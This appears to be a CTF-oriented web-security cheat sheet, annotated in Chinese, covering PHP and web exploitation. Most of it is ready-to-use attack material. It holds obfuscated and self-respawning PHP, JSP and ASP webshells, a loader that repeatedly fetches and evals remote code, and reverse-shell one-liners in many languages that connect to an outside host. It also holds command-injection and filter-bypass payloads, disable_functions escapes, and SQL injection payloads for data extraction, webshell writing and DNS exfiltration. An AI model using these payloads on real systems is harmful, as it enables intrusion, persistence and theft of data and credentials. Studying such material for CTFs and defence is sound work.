- Webshell
- Reverse Shell
- PHP Tag
- PHP Weak Type
- PHP Feature
- Command Injection
- SQL Injection
- LFI
- Upload
- Serialization
- SSTI / CSTI
- SSRF
- XXE
- Prototype Pollution
- Frontend
- Crypto
- Others
- Tools and Website
<?php system($_GET["cmd"]); ?>
<?php system($_GET[1]); ?>
<?php system("`$_GET[1]`"); ?>
<?= system($_GET[cmd]);
<?=`$_GET[1]`;
<?php eval($_POST[cmd]);?>
<?php echo `$_GET[1]`;
<?php echo passthru($_GET['cmd']);
<?php echo shell_exec($_GET['cmd']);
<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>
<script language="php">system("id"); </script>
<?php $_GET['a']($_GET['b']); ?>
// a=system&b=ls
// a=assert&b=system("ls")
<?php array_map("ass\x65rt",(array)$_REQUEST['cmd']);?>
// .php?cmd=system("ls")
<?@extract($_REQUEST);@die($f($c));?>
// .php?f=system&c=id
<?php @include($_FILES['u']['tmp_name']);
// 構造 <form action="http://x.x.x.x/shell.php" method="POST" enctype="multipart/form-data">上傳
// 把暫存檔include進來
// From: http://www.zeroplace.cn/article.asp?id=906
<?php $x=~¾¬¬º«;$x($_GET['a']); ?>
// not backdoor (assert)
// .php?a=system("ls")
echo "{${phpinfo()}}";
echo "${system(ls)}";
echo Y2F0IGZsYWc= | base64 -d | sh
// Y2F0IGZsYWc= => cat flag
echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > shell.php
// cat shell.php
// <?php echo 'A PHP Test ';" ?>
echo ^<?php eval^($_POST['a']^); ?^> > a.php
// Windows echo導出一句話
<?php fwrite(fopen("gggg.php","w"),"<?php system(\$_GET['a']);");
<?php
header('HTTP/1.1 404');
ob_start();
phpinfo();
ob_end_clean();
?>
<?php
// 無回顯後門
// e.g. ?pass=file_get_contents('http://kaibro.tw/test')
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
?>
<?=
// 沒有英數字的webshell
$💩 = '[[[[@@' ^ '("(/%-';
$💩(('@@['^'#!/')." /????");
A=fl;B=ag;cat $A$B
解法:restart
<?php
ignore_user_abort(true); // 忽略連線中斷
set_time_limit(0); // 設定無執行時間上限
$file = 'shell.php';
$code = '<?php eval($_POST[a]);?>';
while(md5(file_get_contents($file)) !== md5($code)) {
if(!file_exists($file)) {
file_put_contents($file, $code);
}
usleep(50);
}
?>
解法:restart
<?php
unlink(__FILE__);
ignore_user_abort(true);
set_time_limit(0);
$remote_file = 'http://xxx/xxx.txt';
while($code = file_get_contents($remote_file)){
@eval($code);
sleep(5);
};
?>
- 無回顯:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
- 有回顯:
<%
if("kaibro".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
<%eval request("kaibro")%>
<%execute request("kaibro")%>
<%ExecuteGlobal request("kaibro")%>
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
- 一般:
<%@ Page Language="Jscript"%><%eval(Request.Item["kaibro"],"unsafe");%>
- 上傳:
<%if (Request.Files.Count!=0){Request.Files[0].SaveAs(Server.MapPath(Request["f"]));}%>
-
本機Listen Port
ncat -vl 5566
-
Perl
perl -e 'use Socket;$i="kaibro.tw";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
-
Bash
bash -i >& /dev/tcp/kaibro.tw/5566 0>&1
bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'
0<&196;exec 196<>/dev/tcp/kaibro.tw/5566; sh <&196 >&196 2>&196
-
PHP
php -r '$sock=fsockopen("kaibro.tw",5566);exec("/bin/sh -i <&3 >&3 2>&3");'
-
NC
nc -e /bin/sh kaibro.tw 5566
-
Telnet
mknod backpipe p && telnet kaibro.tw 5566 0<backpipe | /bin/bash 1>backpipe
-
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kaibro.tw",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-
Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("kaibro.tw","5566");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
-
Node.js
var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(5566, "kaibro.tw", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'");
-
Java
Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/kaibro.tw/5278;cat <&5 | while read line; do $line 2>&5 >&5; done"});p.waitFor();
java.lang.Runtime.exec()
payload generator: http://www.jackson-t.ca/runtime-exec-payloads.html
-
Powershell
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c kaibro.tw -p 5566 -e cmd
<? ?>
- short_open_tag 決定是否可使用短標記
- 或是編譯php時 --enable-short-tags
<?=
- 等價 <? echo
- 自
PHP 5.4.0
起,always work!
<% %>
、<%=
- 自
PHP 7.0.0
起,被移除 - 須將
asp_tags
設成On
- 自
<script language="php"
- 自
PHP 7.0.0
起,被移除 <script language="php">system("id"); </script>
- 自
-
var_dump('0xABCdef' == ' 0xABCdef');
- true (Output for hhvm-3.18.5 - 3.22.0, 7.0.0 - 7.2.0rc4: false)
-
var_dump('0010e2' == '1e3’);
- true
-
strcmp([],[])
- 0
-
sha1([])
- NULL
-
'123' == 123
-
'abc' == 0
-
'123a' == 123
-
'0x01' == 1
- PHP 7.0後,16進位字串不再當成數字
- e.g
var_dump('0x01' == 1)
=> false
-
'' == 0 == false == NULL
-
md5([1,2,3]) == md5([4,5,6]) == NULL
- 可用在登入繞過 (用戶不存在,則password為NULL)
-
var_dump(md5(240610708));
- 0e462097431906509019562988736854
-
var_dump(sha1(10932435112));
- 0e07766915004133176347055865026311692244
-
$a="123"; $b="456"
$a + $b == "579";
$a . $b == "123456"
-
$a = 0; $b = 'x';
$a == false
=> true$a == $b
=> true$b == true
=> true
-
$a = 'a'
++$a
=>'b'
$a+1
=>1
- 32位元
intval('1000000000000')
=>2147483647
- 64位元
intval('100000000000000000000')
=>9223372036854775807
-
php -r "var_dump(1.000000000000001 == 1);"
- false
-
php -r "var_dump(1.0000000000000001 == 1);"
- true
-
$a = 0.1 * 0.1; var_dump($a == 0.01);
- false
var_dump(ereg("^[a-zA-Z0-9]+$", "1234\x00-!@#%"));
1
ereg
和eregi
在PHP 7.0.0.已經被移除
- 四捨五入
var_dump(intval('5278.8787'));
5278
intval(012)
=> 10intval("012")
=> 12
extract($_GET);
.php?_SESSION[name]=admin
echo $_SESSION['name']
=> 'admin'
- 會把字串前後的空白(或其他字元)去掉
- 未指定第二參數,預設會去掉以下字元
" "
(0x20)"\t"
(0x09)"\n"
(0x0A)"\x0B"
(0x0B)"\r"
(0x0D)"\0"
(0x00)
- 可以發現預設不包含
"\f"
(0x0C)- 比較:is_numeric()允許
\f
在開頭
- 比較:is_numeric()允許
- 如果參數是unset或空的變數,回傳值是空字串
-
is_numeric(" \t\r\n 123")
=>true
-
is_numeric(' 87')
=>true
-
is_numeric('87 ')
=>false
-
is_numeric(' 87 ')
=>false
-
is_numeric('0xdeadbeef')
- PHP >= 7.0.0 =>
false
- PHP < 7.0.0 =>
true
- 可以拿來繞過注入
- PHP >= 7.0.0 =>
-
以下亦為合法(返回True)字串:
' -.0'
'0.'
' +2.1e5'
' -1.5E+25'
'1.e5'
in_array('5 or 1=1', array(1, 2, 3, 4, 5))
- true
in_array('kaibro', array(0, 1, 2))
- true
in_array(array(), array('kai'=>false))
- true
in_array(array(), array('kai'=>null))
- true
in_array(array(), array('kai'=>0))
- false
in_array(array(), array('kai'=>'bro'))
- false
in_array('kai', array('kai'=>true))
- true
in_array('kai', array('kai'=>'bro'))
- false
in_array('kai', array('kai'=>0))
- true
in_array('kai', array('kai'=>1))
- false
mixed array_search(mixed $needle , array $haystack [, bool $strict = false ])
- 在
haystack
陣列中,搜尋needle
的值,成功則返回index,失敗返回False
- 在
$strict
為false時,採用不嚴格比較- 預設是False
- Example
$arr=array(1,2,0); var_dump(array_search('kai', $arr))
int(2)
$arr=array(1,2,0); var_dump(array_search('1', $arr))
int(0)
-
parse_str(string, array)
-
會把查詢字串解析到變數中
-
如果未設置第二個參數,會解析到同名變數中
- PHP7.2中不設置第二個參數會產生
E_DEPRECATED
警告
- PHP7.2中不設置第二個參數會產生
-
parse_str('gg[kaibro]=5566');
array(1) { ["kaibro"]=> string(4) "5566" }
-
PHP變數有空格和.,會被轉成底線
parse_str("na.me=kaibro&pass wd=ggininder",$test); var_dump($test); array(2) { ["na_me"]=> string(6) "kaibro" ["pass_wd"]=> string(9) "ggininder" }
-
在處理傳入的URL會有問題
-
parse_url('/a.php?id=1')
array(2) { ["host"]=> string(5) "a.php" ["query"]=> string(4) "id=1" }
-
parse_url('//a/b')
- host:
a
- host:
-
parse_url('..//a/b/c:80')
- host:
..
- port:
80
- path:
//a/b/c:80
- host:
-
parse_url('///a.php?id=1')
- false
-
parse_url('/a.php?id=1:80')
- PHP < 7.0.0
false
- PHP >= 7.0.0
array(2) { ["path"]=> string(6) "/a.php" ["query"]=> string(7) "id=1:80" }
- PHP < 7.0.0
-
parse_url('http://kaibro.tw:87878')
- 5.3.X版本以下
array(3) { ["scheme"]=> string(4) "http" ["host"]=> string(9) "kaibro.tw" ["port"]=> int(22342) }
- 其他: false
- 5.3.X版本以下
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
- 搜尋
$subject
中匹配的$pattern
,並用$replacement
替換
- 搜尋
- 第一個參數用
/e
修飾符,$replacement
會被當成PHP code執行- 必須有匹配到才會執行
- PHP 5.5.0起,會產生
E_DEPRECATED
錯誤 - PHP 7.0.0不再支援,用
preg_replace_callback()
代替
example:
<?php
$a='phpkaibro';
echo preg_replace('/(.*)kaibro/e','\\1info()',$a);
- 對格式化字串的類型沒檢查
- 格式化字串中%後面的字元(除了%之外)會被當成字串類型吃掉
- 例如
%\
、%'
、%1$\'
- 在某些SQLi過濾狀況下,
%' and 1=1#
中的單引號會被轉義成\'
,%\
又會被吃掉,'
成功逃逸 - 原理:sprintf實作是用switch...case...
- 碰到未知類型,
default
不處理
- 碰到未知類型,
- 例如
- 第二個參數如果是陣列,PHP會把它串接成字串
- example:
<?php $test = $_GET['txt']; if(preg_match('[<>?]', $test)) die('bye'); file_put_contents('output', $test);
- 可以直接
?txt[]=<?php phpinfo(); ?>
寫入
- 可以直接
spl_autoload_register()
可以自動載入Class- 不指定參數,會自動載入
.inc
和.php
- Example:
- 如果目錄下有kaibro.inc,且內容為class Kaibro{...}
- 則
spl_autoload_register()
會把這個Class載入進來
a.php/.
file_put_contents("a.php/.", "<?php phpinfo() ?>");
- 可成功寫入
- 經測試Windows可以覆寫、Linux無法
- 可以繞過一些正規表達式判斷
- 可成功寫入
file_get_contents("a.php/.");
- 經測試Windows下可成功讀、Linux無法
- 還有很多其他function也適用
"
=>.
a"php
>
=>?
a.p>p
a.>>>
<
=>*
a.<
$_GET
會對傳入的參數做URLdecode再返回$_SERVER['REQUEST_URI']
和$_SERVER['QUERY_STRING']
則是直接返回
Example:
Request: http://kaibro.tw/test.php?url=%67%67
-
$_GET:
[url] => gg
-
$_SERVER['REQUEST_URI']:
/test.php?url=%67%67
-
$_SERVER['QUERY_STRING']:
url=%67%67
-
透過將PHP腳本編譯成Byte code的方式做Cache來提升性能
-
相關設定在php.ini中
opcache.enable
是否啟用opcache.file_cache
設定cache目錄- 例如:
opcache.file_cache="/tmp/opcache"
/var/www/index.php
的暫存會放在/tmp/opcache/[system_id]/var/www/index.php.bin
- 例如:
opcache.file_cache_only
設定cache文件優先級opcache.validate_timestamps
是否啟用timestamp驗證
-
system_id
是透過Zend和PHP版本號計算出來的,可以確保相容性 -
所以在某些條件下可透過上傳覆蓋暫存文件來寫webshell
- system_id要和目標機器一樣
- timestamp要一致
-
https://github.com/GoSecure/php7-opcache-override
- Disassembler可以把Byte code轉成Pseudo code
-
Example
- PHP的PCRE庫使用NFA作為正規表達式引擎
- NFA在匹配不上時,會回溯嘗試其他狀態
- PHP為防止DOS,設定了PCRE回溯次數上限
pcre.backtrack_limit
- 預設為
1000000
- 回溯次數超過上限時,
preg_match()
會返回false
- Example
- Code-Breaking Puzzles - pcrewaf
- N1CTF 2019 - sql_manage
- glob 列目錄
$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
chdir('img');
ini_set('open_basedir','..');
chdir('..');chdir('..');
chdir('..');chdir('..');
ini_set('open_basedir','/');
echo(file_get_contents('flag'));
- symlinks
mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html/','foo');
echo file_get_contents('bar/etc/passwd');
-
Fastcgi
-
...
-
bash shellshock
-
mail()
sendmail
- putenv寫LD_PRELOAD
- trick: LD_PRELOAD without sendmail/getuid()
-
mb_send_mail()
- 跟 mail() 基本上一樣
-
imap_mail()
- 同上
-
imap_open()
<?php $payload = "echo hello|tee /tmp/executed"; $encoded_payload = base64_encode($payload); $server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash"; @imap_open('{'.$server.'}:143/imap}INBOX', '', '');
-
error_log()
- 第二個參數
message_type
為1時,會去調用sendmail
- 第二個參數
-
ImageMagick
-
LD_PRELOAD + ghostscript:
- Imagemagick會用ghostscript去parse
eps
- Link
- Imagemagick會用ghostscript去parse
-
LD_PRELOAD + ffpmeg
-
MAGICK_CODER_MODULE_PATH
-
MAGICK_CONFIGURE_PATH
delegates.xml
定義處理各種文件的規則- 可以用putenv寫掉設定檔路徑
- Link
<delegatemap> <delegate decode="ps:alpha" command="sh -c "/readflag > /tmp/output""/> </delegatemap>
-
蓋
PATH
+ ghostscript:- 造一個執行檔gs
#include <stdlib.h> #include <string.h> int main() { unsetenv("PATH"); const char* cmd = getenv("CMD"); system(cmd); return 0; }
putenv('PATH=/tmp/mydir'); putenv('CMD=/readflag > /tmp/mydir/output'); chmod('/tmp/mydir/gs','0777'); $img = new Imagick('/tmp/mydir/1.ept');
-
dl()
- 載入module
dl("rce.so")
- This function was removed from most SAPIs in PHP 5.3.0, and was removed from PHP-FPM in PHP 7.0.0.
-
FFI
- PHP 7.4 feature
- preloading + ffi
- e.g. RCTF 2019 - nextphp
-
Windows COM
- 條件
com.allow_dcom = true
extension=php_com_dotnet.dll
- PoC:
<?php $command = $_GET['cmd']; $wsh = new COM('WScript.shell'); // Shell.Application 也可 $exec = $wsh->exec("cmd /c".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput;
- 條件
-
iconv
- https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80
- 條件
- 可以上傳
.so
,gconv-modules
- 可以設定環境變數
- 可以上傳
iconv()
,iconv_strlen()
, php://filter的convert.iconv
-
- 7.1 - all versions to date
- 7.2 < 7.2.19 (released: 30 May 2019)
- 7.3 < 7.3.6 (released: 30 May 2019)
-
- 7.0 - all versions to date
- 7.1 - all versions to date
- 7.2 - all versions to date
- 7.3 - all versions to date
-
- 7.0 - all versions to date
- 7.1 - all versions to date
- 7.2 - all versions to date
- 7.3 - all versions to date
- 7.4 - all versions to date
-
PHP SplDoublyLinkedList UAF Sandbox Escape
- https://ssd-disclosure.com/ssd-advisory-php-spldoublylinkedlist-uaf-sandbox-escape/
- Affected
- PHP version 8.0 (alpha)
- PHP version 7.4.10 and prior (probably also future versions will be affected)
-
族繁不及備載......
-
大小寫不敏感
<?PhP sYstEm(ls);
-
echo (true ? 'a' : false ? 'b' : 'c');
b
-
echo `whoami`;
kaibro
-
正規表達式
.
不匹配換行字元%0a
-
正規表達式常見誤用:
preg_match("/\\/", $str)
- 匹配反斜線應該要用
\\\\
而不是\\
-
運算優先權問題
$a = true && false;
$a
=>false
$a = true and false;
$a
=>true
-
chr()
- 大於256會mod 256
- 小於0會加上256的倍數,直到>0
- Example:
chr(259) === chr(3)
chr(-87) === chr(169)
-
遞增
$a="9D9"; var_dump(++$a);
string(3) "9E0"
$a="9E0"; var_dump(++$a);
float(10)
-
算數運算繞Filter
%f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7f
system
- 可用在限制不能出現英數字時 or 過濾某些特殊符號
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
assert
- 其他
~
,++
等運算,也都可用類似概念構造
-
花括號
- 陣列、字串元素存取可用花括號
$array{index}
同$array[index]
-
filter_var
filter_var('http://evil.com;google.com', FILTER_VALIDATE_URL)
- False
filter_var('0://evil.com;google.com', FILTER_VALIDATE_URL)
- True
filter_var('"aaaaa{}[]()\'|!#$%*&^-_=+`,."@b.c',FILTER_VALIDATE_EMAIL)
"aaaaa{}[]()'|!#$%*&^-_=+
,."@b.c` (OK)
filter_var('aaa."bbb"@b.c',FILTER_VALIDATE_EMAIL)
aaa."bbb"@b.c
(OK)
filter_var('aaa"bbb"@b.c',FILTER_VALIDATE_EMAIL)
- False
-
json_decode
- 不直接吃換行字元和\t字元
- 但可以吃'\n'和'\t'
- 會轉成換行字元和Tab
- 也吃
\uxxxx
形式json_decode('{"a":"\u0041"}')
-
=== bug
var_dump([0 => 0] === [0x100000000 => 0])
- 某些版本會是True
- ASIS 2018 Qual Nice Code
- https://3v4l.org/sUEMG
-
openssl_verify
- 預測採用SHA1來做簽名,可能有SHA1 Collision問題
- e.g. DEFCON CTF 2018 Qual - EasyPisy
-
Namespace
- PHP的預設Global space是
\
- e.g.
\system('ls');
- PHP的預設Global space是
-
basename (php bug 62119)
basename("index.php/config.php/喵")
config.php
- Example: zer0pts CTF 2020 - Can you guess it?
-
strip_tags (php bug 78814)
- php version <= 7.4.0
strip_tags("<s/trong>b</strong>", "<strong>")
<s/trong>b</strong>
- Example: zer0pts CTF 2020 - MusicBlog
| cat flag
&& cat flag
; cat flag
%0a cat flag
"; cat flag
`cat flag`
cat $(ls)
"; cat $(ls)
`cat flag | nc kaibro.tw 5278`
. flag
PS1=$(cat flag)
`echo${IFS}${PATH}|cut${IFS}-c1-1`
=> /
?
match one charactercat fl?g
/???/??t /???/p??s??
*
match 多個cat f*
cat f?a*
${IFS}
cat${IFS}flag
ls$IFS-alh
cat$IFS$2flag
cat</etc/passwd
{cat,/etc/passwd}
X=$'cat\x20/etc/passwd'&&$X
IFS=,;`cat<<<uname,-a`
- bash only
-
String Concat
A=fl;B=ag;cat $A$B
-
Empty Variable
cat fl${x}ag
cat tes$(z)t/flag
-
Environment Variable
$PATH => "/usr/local/….blablabla”
${PATH:0:1} => '/'
${PATH:1:1} => 'u'
${PATH:0:4} => '/usr'
${PS2}
>
${PS4}
+
-
Empty String
cat fl""ag
cat fl''ag
cat "fl""ag"
-
反斜線
c\at fl\ag
- CVE-2016-3714
mvg
格式包含https處理(使用curl下載),可以閉合雙引號- payload:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://kaibro.tw";ls "-la)'
pop graphic-context
open("| ls")
IO.popen("ls").read
Kernel.exec("ls")
`ls`
system("ls")
eval("ruby code")
- Non-Alphanumeric example: HITCON CTF 2015 - Hard to say
$$/$$
=> 1'' << 97 << 98 << 99
=> "abc"$:
即$LOAD_PATH
- Non-Alphanumeric example: HITCON CTF 2015 - Hard to say
exec("ls")
%x{ls}
- Net::FTP
- CVE-2017-17405
- use
Kernel#open
os.system("ls")
os.popen("ls").read()
os.execl("/bin/ls","")
os.execlp("ls","")
os.execv("/bin/ls",[''])
os.execvp("/bin/ls",[""])
subprocess.call("ls")
subprocess.call("ls|cat",shell=False)
=> Failsubprocess.call("ls|cat",shell=True)
=> Correct
eval("__import__('os').system('ls')")
exec("__import__('os').system('ls')")
commands.getoutput('ls')
- diff /etc/passwd /flag
- paste /flag
- bzmore /flag
- bzless /flag
- static-sh /flag
- ...
-
子字串:
substr("abc",1,1) => 'a'
mid("abc", 1, 1) => 'a'
-
Ascii function
ascii('A') => 65
-
Char function
char(65) => 'a'
-
Concatenation
CONCAT('a', 'b') => 'ab'
- 如果任何一欄為NULL,則返回NULL
CONCAT_WS(分隔符, 字串1, 字串2...)
CONCAT_WS('@', 'gg', 'inin')
=>gg@inin
-
Cast function
CAST('125e342.83' AS signed) => 125
CONVERT('23',SIGNED) => 23
-
Delay function
sleep(5)
BENCHMARK(count, expr)
-
空白字元
09 0A 0B 0C 0D A0 20
-
File-read function
LOAD_FILE('/etc/passwd')
-
File-write
INTO DUMPFILE
- 適用binary (寫入同一行)
INTO OUTFILE
- 適用一般文本 (有換行)
- 寫webshell
- 需知道可寫路徑
UNION SELECT "<? system($_GET[1]);?>",2,3 INTO OUTFILE "/var/www/html/temp/shell.php"
- 權限
SELECT file_priv FROM mysql.user
- secure-file-priv
- 限制MySQL導入導出
- load_file, into outfile等
- 運行時無法更改
- MySQL 5.5.53前,該變數預設為空(可以導入導出)
- e.g.
secure_file_priv=E:\
- 限制導入導出只能在E:\下
- e.g.
secure_file_priv=null
- 限制不允許導入導出
- secure-file-priv限制下用general_log拿shell
SET global general_log='on'; SET global general_log_file='C:/phpStudy/WWW/cmd.php'; SELECT '<?php assert($_POST["cmd"]);?>';
- 限制MySQL導入導出
-
IF語句
- IF(condition,true-part,false-part)
SELECT IF (1=1,'true','false')
-
Hex
SELECT X'5061756c'; => paul
SELECT 0x5061756c; => paul
SELECT 0x5061756c+0 => 1348564332
SELECT load_file(0x2F6574632F706173737764);
- /etc/passwd
- 可繞過一些WAF
- e.g. 用在不能使用單引號時(
'
=>\'
) - CHAR()也可以達到類似效果
'admin'
=>CHAR(97, 100, 109, 105, 110)
- e.g. 用在不能使用單引號時(
-
註解:
#
--
/**/
- 一個
*/
可以閉合前面多個/*
- 一個
/*! 50001 select * from test */
- 可探測版本
- e.g.
SELECT /*!32302 1/0, */ 1 FROM tablename
- `
- MySQL <= 5.5
;
- PDO支援多語句
-
information_schema
- mysql >= 5.0
-
Stacking Query
- 預設PHP+MySQL不支援Stacking Query
- 但PDO可以Stacking Query
-
其它:
- @@version
- 同version()
- user()
- current_user
- current_user()
- current user
- system_user()
- database system user
- database()
- schema()
- current database
- @@basedir
- MySQL安裝路徑
- @@datadir
- Location of db file
- @@plugin_dir
- @@hostname
- @@version_compile_os
- Operating System
- @@version_compile_machine
- @@innodb_version
- MD5()
- SHA1()
- COMPRESS() / UNCOMPRESS()
- group_concat()
- 合併多條結果
- e.g.
select group_concat(username) from users;
一次返回所有使用者名
- e.g.
- group_concat_max_len = 1024 (default)
- 合併多條結果
- json_arrayagg()
- MySQL >= 5.7.22
- 概念同上
- e.g.
SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES
- e.g.
- greatest()
greatest(a, b)
返回a, b中最大的greatest(1, 2)=2
- 1
greatest(1, 2)=1
- 0
- between a and b
- 介於a到b之間
greatest(1, 2) between 1 and 3
- 1
- regexp
SELECT 'abc' regexp '.*'
- 1
- Collation
*_ci
case insensitive collation 不區分大小寫*_cs
case sensitive collation 區分大小寫*_bin
binary case sensitive collation 區分大小寫
- @@version
-
Union Based
- 判斷column數
union select 1,2,3...N
order by N
找最後一個成功的N
AND 1=2 UNION SELECT 1, 2, password FROM admin--+
LIMIT N, M
跳過前N筆,抓M筆- 爆資料庫名
union select 1,2,schema_name from information_schema.schemata limit 1,1
- 爆表名
union select 1,2,table_name from information_schema.tables where table_schema='mydb' limit 0,1
union select 1,2,table_name from information_schema.columns where table_schema='mydb' limit 0,1
- 爆Column名
union select 1,2,column_name from information_schema.columns where table_schema='mydb' limit 0,1
- MySQL User
SELECT CONCAT(user, ":" ,password) FROM mysql.user;
- 判斷column數
-
Error Based
- 長度限制
- 錯誤訊息有長度限制
#define ERRMSGSIZE (512)
- Overflow
- MySQL > 5.5.5 overflow才會有錯誤訊息
SELECT ~0
=>18446744073709551615
SELECT ~0 + 1
=> ERRORSELECT exp(709)
=>8.218407461554972e307
SELECT exp(710)
=> ERROR- 若查詢成功,會返回0
SELECT exp(~(SELECT * FROM (SELECT user())x));
ERROR 1690(22003):DOUBLE value is out of range in 'exp(~((SELECT 'root@localhost' FROM dual)))'
select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'
- MySQL > 5.5.53 不會顯示查詢結果
- xpath
- extractvalue (有長度限制,32位)
select extractvalue(1,concat(0x7e,(select @@version),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
- updatexml (有長度限制,32位)
select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
- extractvalue (有長度限制,32位)
- 主鍵重複
select count(*) from test group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
- 其它函數 (5.7)
select ST_LatFromGeoHash(version());
select ST_LongFromGeoHash(version());
select GTID_SUBSET(version(),1);
select GTID_SUBTRACT(version(),1);
select ST_PointFromGeoHash(version(),1);
- 爆庫名、表名、字段名
- 當過濾
information_schema
等關鍵字時,可以用下面方法爆庫名select 1,2,3 from users where 1=abc();
ERROR 1305 (42000): FUNCTION fl4g.abc does not exist
- 爆表名
select 1,2,3 from users where Polygon(id);
select 1,2,3 from users where linestring(id);
ERROR 1367 (22007): Illegal non geometric '`fl4g`.`users`.`id`' value found during parsing
- 爆Column
select 1,2,3 from users where (select * from (select * from users as a join users as b)as c);
ERROR 1060 (42S21): Duplicate column name 'id'
select 1,2,3 from users where (select * from (select * from users as a join users as b using(id))as c);
ERROR 1060 (42S21): Duplicate column name 'username'
- 當過濾
- 長度限制
-
Blind Based (Time/Boolean)
- Boolean
- 「有」跟「沒有」
id=87 and length(user())>0
id=87 and length(user())>100
id=87 and ascii(mid(user(),1,1))>100
id=87 or ((select user()) regexp binary '^[a-z]')
- Time
- 用在啥結果都看不到時
id=87 and if(length(user())>0, sleep(10), 1)=1
id=87 and if(length(user())>100, sleep(10), 1)=1
id=87 and if(ascii(mid(user(),1,1))>100, sleep(10), 1)=1
- Boolean
-
Out of Bnad
- Windows only
select load_file(concat("\\\\",schema_name,".dns.kaibro.tw/a")) from information_schema.schemata
-
繞過空白檢查
id=-1/**/UNION/**/SELECT/**/1,2,3
id=-1%09UNION%0DSELECT%0A1,2,3
id=(-1)UNION(SELECT(1),2,3)
-
寬字節注入
addslashes()
會讓'
變\'
- 在
GBK
編碼中,中文字用兩個Bytes表示- 其他多字節編碼也可
- 但要低位範圍有包含
0x5c
(\
)
- 第一個Byte要>128才是中文
%df'
=>%df\'
=>運'
(成功逃逸)
-
Order by注入
- 可以透過
asc
、desc
簡單判斷?sort=1 asc
?sort=1 desc
- 後面不能接UNION
- 已知字段名 (可以盲注)
?order=IF(1=1, username, password)
- 利用報錯
?order=IF(1=1,1,(select 1 union select 2))
正確?order=IF(1=2,1,(select 1 union select 2))
錯誤?order=IF(1=1,1,(select 1 from information_schema.tables))
正常?order=IF(1=2,1,(select 1 from information_schema.tables))
錯誤
- Time Based
?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
正常?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
sleep 2秒
- 可以透過
-
group by with rollup
' or 1=1 group by pwd with rollup limit 1 offset 2#
-
將字串轉成純數字
- 字串 -> 16進位 -> 10進位
conv(hex(YOUR_DATA), 16, 10)
- 還原:
unhex(conv(DEC_DATA,10,16))
- 需注意不要Overflow
-
不使用逗號
LIMIT N, M
=>LIMIT M OFFSET N
mid(user(), 1, 1)
=>mid(user() from 1 for 1)
UNION SELECT 1,2,3
=>UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)
-
快速查找帶關鍵字的表
select table_schema,table_name,column_name from information_schema.columns where table_schema !=0x696E666F726D6174696F6E5F736368656D61 and table_schema !=0x6D7973716C and table_schema !=0x706572666F726D616E63655F736368656D61 and (column_name like '%pass%' or column_name like '%pwd%');
-
innodb
- 表引擎為innodb
- MySQL > 5.5
- innodb_table_stats、innodb_table_index存放所有庫名表名
select table_name from mysql.innodb_table_stats where database_name=資料庫名;
- Example: Codegate2018 prequal - simpleCMS
-
Bypass WAF
select password
=>SelEcT password
(大小寫)select password
=>select/**/password
(繞空白)select password
=>s%65lect%20password
(URLencode)select password
=>select(password)
(繞空白)select password
=>select%0apassword
(繞空白)- %09, %0a, %0b, %0c, %0d, %a0
select password from admin
=>select password /*!from*/ admin
(MySQL註解)information_schema.schemata
=>`information_schema`.schemata
(繞關鍵字/空白)select xxx from`information_schema`.schemata
select pass from user where id='admin'
=>select pass from user where id=0x61646d696e
(繞引號)id=concat(char(0x61),char(0x64),char(0x6d),char(0x69),char(0x6e))
?id=0e2union select 1,2,3
(科學記號)?id=1union select 1,2,3
